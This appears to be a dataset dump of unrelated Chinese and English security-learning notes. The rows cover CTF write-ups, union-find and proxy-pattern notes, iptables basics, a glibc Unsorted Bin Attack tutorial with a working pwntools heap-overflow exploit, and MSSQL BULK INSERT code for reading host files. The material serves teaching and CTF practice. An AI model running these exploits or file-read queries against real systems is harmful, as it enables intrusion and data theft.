text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
--------------------------------------
[Python Exploitation] Secret Accounts - 80 points
--------------------------------------
> Through many months of sniffing, we discovered a server running a software which the Club uses to manage information about secret bank accounts abroad. We even obtained its source code. We need to obtain access to the system in order to discover the real name of the owner of the account possessing the greater amount of money, in which bank it is, and the real amount. As you might expect, it seems that the Club has hunkered down to assert only authorized people, which really know what they are doing, are able to operate this system and to interpret information provided by it. Rumors exist that the Mentor himself manages it, as amazing as it may seem (he is old but not deciduous!).
> You will need good “python-fu” to win this challenge!
> Submit the flag in the following format: CTF-BR{info1_info2_info3}.
> Hint: Who is Fideleeto (Cuba!) in real life? Take this into account. :)
In this task we were given an obfuscated Python script and a server running it. Unfortunately I do no longer have the
original code, because I was deobfuscating it overwriting the file each time. It had a lot of octal numbers, some
additions and multiplications just to hide the constants and so on.
We had to input password. Connecting the dots, we guessed that `master` (variable name) corresponds to description text's
Fideleeto, and birthyear is 1926, as per Wikipedia. We added some z's because the source code asked us for it.
After a couple of seconds, we were logged in. We were asked for option 1-4, but in reality our input was subtracted,
multiplied and generally messed with, so we simply brute forced the needed numbers. When we chose correct number, we
were presented with a menu. The most interesting part of it was that our text was inputted via `input()`. Since
Python's `input()` is equivalent to `eval(raw_input())`, we had arbitrary code execution. We used it to write the file
with flag to stdout. Full exploit code is available in `doit.py`.
|
sec-knowleage
|
# 算法 - 并查集
<!-- GFM-TOC -->
* [算法 - 并查集](#算法---并查集)
* [前言](#前言)
* [Quick Find](#quick-find)
* [Quick Union](#quick-union)
* [加权 Quick Union](#加权-quick-union)
* [路径压缩的加权 Quick Union](#路径压缩的加权-quick-union)
* [比较](#比较)
<!-- GFM-TOC -->
## 前言
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/02943a90-7dd4-4e9a-9325-f8217d3cc54d.jpg" width="350"/> </div><br>
| 方法 | 描述 |
| :---: | :---: |
| UF(int N) | 构造一个大小为 N 的并查集 |
| void union(int p, int q) | 连接 p 和 q 节点 |
| int find(int p) | 查找 p 所在的连通分量编号 |
| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
```java
public abstract class UF {
protected int[] id;
public UF(int N) {
id = new int[N];
for (int i = 0; i < N; i++) {
id[i] = i;
}
}
public boolean connected(int p, int q) {
return find(p) == find(q);
}
public abstract int find(int p);
public abstract void union(int p, int q);
}
```
## Quick Find
可以快速进行 find 操作,也就是可以快速判断两个节点是否连通。
需要保证同一连通分量的所有节点的 id 值相等,就可以通过判断两个节点的 id 值是否相等从而判断其连通性。
但是 union 操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0972501d-f854-4d26-8fce-babb27c267f6.jpg" width="320"/> </div><br>
```java
public class QuickFindUF extends UF {
public QuickFindUF(int N) {
super(N);
}
@Override
public int find(int p) {
return id[p];
}
@Override
public void union(int p, int q) {
int pID = find(p);
int qID = find(q);
if (pID == qID) {
return;
}
for (int i = 0; i < id.length; i++) {
if (id[i] == pID) {
id[i] = qID;
}
}
}
}
```
## Quick Union
可以快速进行 union 操作,只需要修改一个节点的 id 值即可。
但是 find 操作开销很大,因为同一个连通分量的节点 id 值不同,id 值只是用来指向另一个节点。因此需要一直向上查找操作,直到找到最上层的节点。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/11b27de5-5a9d-45e4-95cc-417fa3ad1d38.jpg" width="280"/> </div><br>
```java
public class QuickUnionUF extends UF {
public QuickUnionUF(int N) {
super(N);
}
@Override
public int find(int p) {
while (p != id[p]) {
p = id[p];
}
return p;
}
@Override
public void union(int p, int q) {
int pRoot = find(p);
int qRoot = find(q);
if (pRoot != qRoot) {
id[pRoot] = qRoot;
}
}
}
```
这种方法可以快速进行 union 操作,但是 find 操作和树高成正比,最坏的情况下树的高度为节点的数目。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/23e4462b-263f-4d15-8805-529e0ca7a4d1.jpg" width="100"/> </div><br>
## 加权 Quick Union
为了解决 quick-union 的树通常会很高的问题,加权 quick-union 在 union 操作时会让较小的树连接较大的树上面。
理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a9f18f8a-c1ea-422e-aa56-d91716b0f755.jpg" width="150"/> </div><br>
```java
public class WeightedQuickUnionUF extends UF {
// 保存节点的数量信息
private int[] sz;
public WeightedQuickUnionUF(int N) {
super(N);
this.sz = new int[N];
for (int i = 0; i < N; i++) {
this.sz[i] = 1;
}
}
@Override
public int find(int p) {
while (p != id[p]) {
p = id[p];
}
return p;
}
@Override
public void union(int p, int q) {
int i = find(p);
int j = find(q);
if (i == j) return;
if (sz[i] < sz[j]) {
id[i] = j;
sz[j] += sz[i];
} else {
id[j] = i;
sz[i] += sz[j];
}
}
}
```
## 路径压缩的加权 Quick Union
在检查节点的同时将它们直接链接到根节点,只需要在 find 中添加一个循环即可。
## 比较
| 算法 | union | find |
| :---: | :---: | :---: |
| Quick Find | N | 1 |
| Quick Union | 树高 | 树高 |
| 加权 Quick Union | logN | logN |
| 路径压缩的加权 Quick Union | 非常接近 1 | 非常接近 1 |
|
sec-knowleage
|
## Dumped (Forensics, 100p)
In Windows Task Manager, I right clicked a process and selected "Create dump file". I'll give you the dump, but in return, give me the flag!
Download RunMe.DMP.xz
###ENG
[PL](#pl-version)
Running `strings RunMe.DMP | grep Sharif` against this file gives us flag.
###PL version
Wystarczy użyć `strings RunMe.DMP | grep Sharif`.
|
sec-knowleage
|
# Unsorted Bin Attack
## 概述
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
## Unsorted Bin 回顾
在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。
### 基本来源
1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍。
3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
### 基本使用情况
1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,**即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取**。
2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
## Unsorted Bin Leak
在介绍 Unsorted Bin Attack 之前,我们先介绍一下如何使用 Unsorted Bin 进行 Leak。这其实是一个小 trick,许多题中都会用到。
### Unsorted Bin 的结构
`Unsorted Bin` 在管理时为循环双向链表,若 `Unsorted Bin` 中有两个 `bin`,那么该链表结构如下
下面这张图就是上面的结构的复现
我们可以看到,在该链表中必有一个节点(不准确的说,是尾节点,这个就意会一下把,毕竟循环链表实际上没有头尾)的 `fd` 指针会指向 `main_arena` 结构体内部。
### Leak 原理
如果我们可以把正确的 `fd` 指针 leak 出来,就可以获得一个与 `main_arena` 有固定偏移的地址,这个偏移可以通过调试得出。而`main_arena` 是一个 `struct malloc_state` 类型的全局变量,是 `ptmalloc` 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 `.data` 或者 `.bss` 等段上,那么如果我们有进程所使用的 `libc` 的 `.so` 文件的话,我们就可以获得 `main_arena` 与 `libc` 基地址的偏移,实现对 `ASLR` 的绕过。
那么如何取得 `main_arena` 与 `libc` 基址的偏移呢?这里提供两种思路。
#### 通过 __malloc_trim 函数得出
在 `malloc.c` 中有这样一段代码
```cpp
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena;//<=here!
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
```
注意到 `mstate ar_ptr = &main_arena;` 这里对 `main_arena` 进行了访问,所以我们就可以通过 IDA 等工具分析出偏移了。
比如把 `.so` 文件放到 IDA 中,找到 `malloc_trim` 函数,就可以获得偏移了。
#### 通过 __malloc_hook 直接算出
比较巧合的是,`main_arena` 和 `__malloc_hook` 的地址差是 0x10,而大多数的 libc 都可以直接查出 `__malloc_hook` 的地址,这样可以大幅减小工作量。以 pwntools 为例
```python
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10
```
这样就可以获得 `main_arena` 与基地址的偏移了。
### 实现 Leak 的方法
一般来说,要实现 leak,需要有 `UAF`,将一个 `chunk` 放入 `Unsorted Bin` 中后再打出其 `fd`。一般的笔记管理题都会有 `show` 的功能,对处于链表尾的节点 `show` 就可以获得 `libc` 的基地址了。
特别的,`CTF` 中的利用,堆往往是刚刚初始化的,所以 `Unsorted Bin` 一般都是干净的,当里面只存在一个 `bin` 的时候,该 `bin` 的 `fd` 和 `bk` 都会指向 `main_arena` 中。
另外,如果我们无法做到访问链表尾,但是可以访问链表头,那么在 32 位的环境下,对链表头进行 `printf` 等往往可以把 `fd` 和 `bk` 一起输出出来,这个时候同样可以实现有效的 leak。然而在 64 位下,由于高地址往往为 `\x00`,很多输出函数会被截断,这个时候可能就难以实现有效 leak。
## Unsorted Bin Attack 原理
在 [glibc](https://code.woboq.org/userspace/glibc/)/[malloc](https://code.woboq.org/userspace/glibc/malloc/)/[malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 中的 `_int_malloc ` 有这么一段代码,当将一个 unsorted bin取出的时候,会将 `bck->fd` 的位置写入本 Unsorted Bin 的位置。
```C
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```
换而言之,如果我们控制了 bk 的值,我们就能将 `unsorted_chunks (av)` 写到任意地址。
这里我以 shellphish 的 how2heap 仓库中的 [unsorted_bin_attack.c](https://github.com/shellphish/how2heap/blob/master/unsorted_bin_attack.c) 为例进行介绍,这里我做一些简单的修改,如下
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
```
程序执行后的效果为
```shell
➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack
➜ unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack:
0x7ffe0d232518: 0
Now, we allocate first normal chunk on the heap at: 0x1fce010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78
```
这里我们可以使用一个图来描述一下具体发生的流程以及背后的原理。
**初始状态时**
unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
**执行free(p)**
由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
**修改p[1]**
经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
**申请400大小的chunk**
此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去unsorted bin中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。
```c
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
```
- victim = unsorted_chunks(av)->bk=p
- bck = victim->bk=p->bk = target addr-16
- unsorted_chunks(av)->bk = bck=target addr-16
- bck->fd = *(target addr -16+16) = unsorted_chunks(av);
**可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。**然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。
即修改 target 处的值为 unsorted bin 的链表头部 0x7f1c705ffb78,也就是之前输出的信息。
```shell
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78
```
这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。**而且,需要注意的是,**
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说
- 我们通过修改循环的次数来使得程序可以执行多次循环。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack了。
## HITCON Training lab14 magic heap
[题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14)
这里我们修改一下源程序中的 l33t 函数,以便于可以正常运行。
```c
void l33t() { system("cat ./flag"); }
```
### 基本信息
```shell
➜ hitcontraining_lab14 git:(master) file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped
➜ hitcontraining_lab14 git:(master) checksec magicheap
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
可以看出,该程序是一个动态链接的64程序,主要开启了 NX 保护与 Canary 保护。
### 基本功能
程序大概就是自己写的堆管理器,主要有以下功能
1. 创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
2. 编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。
3. 删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。
同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。
### 利用
很显然, 我们直接利用 unsorted bin attack 即可。
1. 释放一个堆块到 unsorted bin 中。
2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
3. 触发漏洞即可。
代码如下
```Python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./magicheap')
def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()
```
## 2016 0CTF zerostorage-待完成
**注:待进一步完成。**
这里我们以 2016 年 0CTF 的 [zerostorage](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/zerostorage) 为例,进行介绍。
**这个题当时给了服务器的系统版本和内核版本,所以自己可以下一个一模一样的进行调试,这里我们就直接用自己的本地机器调试了。但是在目前的Ubuntu 16.04 中,由于进一步的随机化,导致 libc 加载的位置与程序模块加载的位置之间的相对偏移不再固定,所以 BrieflyX 的策略就无法再次使用,似乎只能用 angelboy 的策略了。**
### 安全性检查
可以看出,该程序开启了所有的保护
```shell
pwndbg> checksec
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```
### 基本功能分析
程序管理在 bss 段的存储空间 storage ,具有插入,删除,合并,删除,查看,枚举,退出功能。这个storage的结构体如下
```text
00000000 Storage struc ; (sizeof=0x18, mappedto_7)
00000000 ; XREF: .bss:storage_list/r
00000000 use dq ?
00000008 size dq ?
00000010 xor_addr dq ?
00000018 Storage ends
```
#### insert-1
基本功能如下
1. 逐一查看 storage 数组,查找第一个未使用的元素,但是这个数组最大也就是32。
2. 读取storage 元素所需要存储内容的长度。
- 如果长度不大于0,直接退出;
- 否则如果申请的字节数小于128,那就设置为128;
- 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
- 否则,设置为4096。
3. 使用 calloc 分配指定长度,注意 calloc 会初始化 chunk 为0。
4. 将 calloc 分配的内存地址与 bss 段的一个内存(初始时刻为一个随机数)进行抑或,得到一个新的内存地址。
5. 根据读取的storage的大小来读入内容。
6. 将对应的storage的大小以及存储内容的地址保存到对应的storage 元素中,并标记该元素处于可用状态。**但是,需要注意的是,这里记录的storage的大小是自己输入的大小!!!**
7. 递增 storage num的数量。
#### update-2
1. 如果没有任何存储,就直接返回。
2. 读入要更新的storage元素的id,如果id大于31或者目前处于不处于使用状态,说明不对,直接返回。
3. 读取**更新后**storage 元素所需要存储内容的长度。
- 如果长度不大于0,直接退出;
- 否则如果申请的字节数小于128,那就设置为128;
- 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
- 否则,设置为4096。
4. 根据 bss 段对应的随机数获取原先storage 存储内容的地址,
5. 如果更新后所需的长度不等于更新前的长度,就使用realloc为其重新分配内存。
6. 再次读取数据,同时更新storage 元素。
#### merge-3
1. 如果正在使用的元素不大于1个,那么无法合并,直接退出即可。
2. 判断storage是否已经满了,如果不满,找出空闲的那一块。
3. 分别读取merge_from的id以及merge_to的id号,并进行相应大小以及使用状态的检测。
4. 根据最初用户输入的大小来计算两个 merge 到一起后所需要的空间,**如果不大于128,那就不会申请新的空间**,否则就申请相应大小的新的空间。
5. 依次将merge_to与merge_from的内容拷贝到相对应的位置。
6. **最后存储merge_from内容的内存地址被释放了,但并没有被置为NULL。同时,存放merge_to内容的内存地址并没有被释放,相应的storage的抑或后的地址只是被置为了NULL。**
**但是需要注意的是,,在merge的时候,并没有检测两个storage的ID是否相同。**
#### delete-4
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 如果 storage 的对应元素并不在使用状态,那么也同时返回。
4. 之后就是将元素对应的字段分别设置为NULL,并且释放对应的内存。
#### view-5
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 如果 storage 的对应元素并不在使用状态,那么也同时返回。
4. 输入对应的storage 的内容。
#### list-6
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 遍历所有正在使用的storage,输入其对应的下标以及对应storage的大小。
### 漏洞确定
通过这么简单的分析,我们可以 基本确定漏洞主要就是集中在insert操作与merge操作中,尤其是当我们merge两个较小size的storage时,会出现一些问题。
我们来具体分析一下,如果我们在insert过程中插入较小的size(比如8)的storage A,那么,当我们进行merge时,假设我们选择merge的两个storage 都为A,那么此时程序会直接把就会直接把A的内容再添加到A的原有内容的后面,然后接着就会把A对应的存储数据部分的内存free掉,但是这并没有什么作用,因为A存储内容的地址被赋给了另外一个storage,当再访问merge 后的 storage B部分的内容时,由于B的存储数据部分的地址其实就是A对应的存储数据的地址,所以打印的就是A的数据部分的内容。但是,我们之前刚刚把A对应的内存释放掉,而A由于不在fast bin范围内,所以只会被放到unsorted bin中(而且此时只有一个),所以此时A的fd和bk都存放的是unsorted bin的一个基地址。
如果我们在merge之前曾经删除过一个storage C,那么在我们merge A后,A就会插在unsorted bin的双向链表的首部,所以其fd则是C对应的地址,bk则是unsorted bin的一个基地址。这样我们就可以直接泄露两个地址。
而且需要注意的是,我们还是可以去修改merge后的B的内容的,所以这其实就是个Use After Free。
### 利用流程
- Unsorted Bin Attack
利用 unsorted bin attack ,修改 global_max_fast 全局变量,由于 global_max_fast 变量为控制最大的Fast chunk的大小,将这里改写为unsorted bin的地址(一般来说是一个很大的正数),就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack。
- Fast Bin Attack
## 题目
## 参考文献
- http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/
- https://github.com/HQ1995/Heap_Senior_Driver/tree/master/0ctf2016/zerostorage
- https://github.com/scwuaptx/CTF/blob/master/2016-writeup/0ctf/zerostorage.py
|
sec-knowleage
|
## 代理(Proxy)
### Intent
控制对其它对象的访问。
### Class Diagram
代理有以下四类:
- 远程代理(Remote Proxy):控制对远程对象(不同地址空间)的访问,它负责将请求及其参数进行编码,并向不同地址空间中的对象发送已经编码的请求。
- 虚拟代理(Virtual Proxy):根据需要创建开销很大的对象,它可以缓存实体的附加信息,以便延迟对它的访问,例如在网站加载一个很大图片时,不能马上完成,可以用虚拟代理缓存图片的大小信息,然后生成一张临时图片代替原始图片。
- 保护代理(Protection Proxy):按权限控制对象的访问,它负责检查调用者是否具有实现一个请求所必须的访问权限。
- 智能代理(Smart Reference):取代了简单的指针,它在访问对象时执行一些附加操作:记录对象的引用次数;当第一次引用一个对象时,将它装入内存;在访问一个实际对象前,检查是否已经锁定了它,以确保其它对象不能改变它。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9b679ff5-94c6-48a7-b9b7-2ea868e828ed.png"/> </div><br>
### Implementation
以下是一个虚拟代理的实现,模拟了图片延迟加载的情况下使用与图片大小相等的临时内容去替换原始图片,直到图片加载完成才将图片显示出来。
```java
public interface Image {
void showImage();
}
```
```java
public class HighResolutionImage implements Image {
private URL imageURL;
private long startTime;
private int height;
private int width;
public int getHeight() {
return height;
}
public int getWidth() {
return width;
}
public HighResolutionImage(URL imageURL) {
this.imageURL = imageURL;
this.startTime = System.currentTimeMillis();
this.width = 600;
this.height = 600;
}
public boolean isLoad() {
// 模拟图片加载,延迟 3s 加载完成
long endTime = System.currentTimeMillis();
return endTime - startTime > 3000;
}
@Override
public void showImage() {
System.out.println("Real Image: " + imageURL);
}
}
```
```java
public class ImageProxy implements Image {
private HighResolutionImage highResolutionImage;
public ImageProxy(HighResolutionImage highResolutionImage) {
this.highResolutionImage = highResolutionImage;
}
@Override
public void showImage() {
while (!highResolutionImage.isLoad()) {
try {
System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight());
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
highResolutionImage.showImage();
}
}
```
```java
public class ImageViewer {
public static void main(String[] args) throws Exception {
String image = "http://image.jpg";
URL url = new URL(image);
HighResolutionImage highResolutionImage = new HighResolutionImage(url);
ImageProxy imageProxy = new ImageProxy(highResolutionImage);
imageProxy.showImage();
}
}
```
### JDK
- java.lang.reflect.Proxy
- RMI
|
sec-knowleage
|
---
title: MSSQL 读取实例信息
---
<center><h1>MSSQL 读取实例信息</h1></center>
---
如果拿到了 MSSQL 数据库权限,则可以通过 BULK INSERT 读取数据库所在实例的文件,这里以在AWS 下读取日志文件为例。
```sql
create table #testtable(context ntext);
BULK INSERT #testtable FROM 'C:\ProgramData\Amazon\EC2Launch\log\agent.log'
WITH (DATAFILETYPE = 'char',KEEPNULLS)
select * from #testtable
drop table #testtable;
```
</br><img width="800" src="/img/1651979050.png"></br>
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年5月8日"
}
}
</script>
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/ghostscript:9.21-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"
|
sec-knowleage
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Error</title>
</head>
<body>
<p>login error</p>
</body>
</html>
|
sec-knowleage
|
# Iptables
---
## 什么是 iptables
Linux 系统在内核中提供了对报文数据包过滤和修改的官方项目名为 Netfilter,它指的是 Linux 内核中的一个框架,它可以用于在不同阶段将某些钩子函数(hook)作用域网络协议栈。Netfilter 本身并不对数据包进行过滤,它只是允许可以过滤数据包或修改数据包的函数挂接到内核网络协议栈中的适当位置。这些函数是可以自定义的。
iptables 是用户层的工具,它提供命令行接口,能够向 Netfilter 中添加规则策略,从而实现报文过滤,修改等功能。Linux 系统中并不止有 iptables 能够生成防火墙规则,其他的工具如 firewalld 等也能实现类似的功能。
iptables 策略是由一组有序的规则建立的,它告诉内核应该如何处理某些类别的数据包。每一个 iptables 规则应用于一个表中的一个链。一个 iptables 链就是一个规则集,这些规则按序与包含某种特征的数据包进行比较匹配。
## iptables 服务命令
```bash
# 启动服务
/etc/init.d/iptables start
service iptables start
# 停止服务
/etc/init.d/iptables stop
service iptables stop
# 重启服务
/etc/init.d/iptables restart
service iptables restart
# 保存设置
/etc/init.d/iptables save
service iptables save
```
## iptables 常用命令
```bash
iptables -A # 将一个规则添加到链末尾
iptables -D # 将指定的链中删除规则
iptables -F # 将指定的链中删除所有规则
iptables -I # 将在指定链的指定编号位置插入一个规则
iptables -L # 列出指定链中所有规则
iptables -t # nat -L 列出所有 NAT 链中所有规则
iptables -N # 建立用户定义链
iptables -X # 删除用户定义链
iptables -P # 修改链的默认设置,如将 iptables -P INPUT DROP (将 INPUT 链设置为 DROP)
```
## 常见设置参数
* --dport 指定目标 TCP/IP 端口 如 -dport 80
* --sport 指定源 TCP/IP 端口 如 -sport 80
* -p tcp 指定协议为 tcp
* -p icmp 指定协议为 ICMP
* -p udp 指定协议为 UDP
* -j DROP 拒绝
* -j ACCEPT 允许
* -j REJECT 拒绝并向发出消息的计算机发一个消息
* -j LOG 在 / var/log/messages 中登记分组匹配的记录
* -m mac -mac 绑定 MAC 地址
* -m limit -limit 1/s 1/m 设置时间策列
* -s 10.10.0.0 或 10.10.0.0/16 指定源地址或地址段
* -d 10.10.0.0 或 10.10.0.0/16 指定目标地址或地址段
* -s ! 10.10.0.0 指定源地址以外的
## iptables 配置文件
```bash
cat /etc/sysconfig/iptables
```
## iptables 表
iptables 默认有 4 个表
* nat 表(地址转换表)
* filter 表(数据过滤表)
* raw 表(状态跟踪表)
* mangle 表(包标记表)
## iptables 链
每个表都有一组内置链,用户还可以添加自定义的链。最重要的内置链是 filter 表中的 INPUT、OUTPUT 和 FORWARD 链。
* INPUT 链(入站规则)
* OUTPUT 链(出站规则)
* FORWARD 链(转发规则)
* PREROUTING 链(路有前规则)
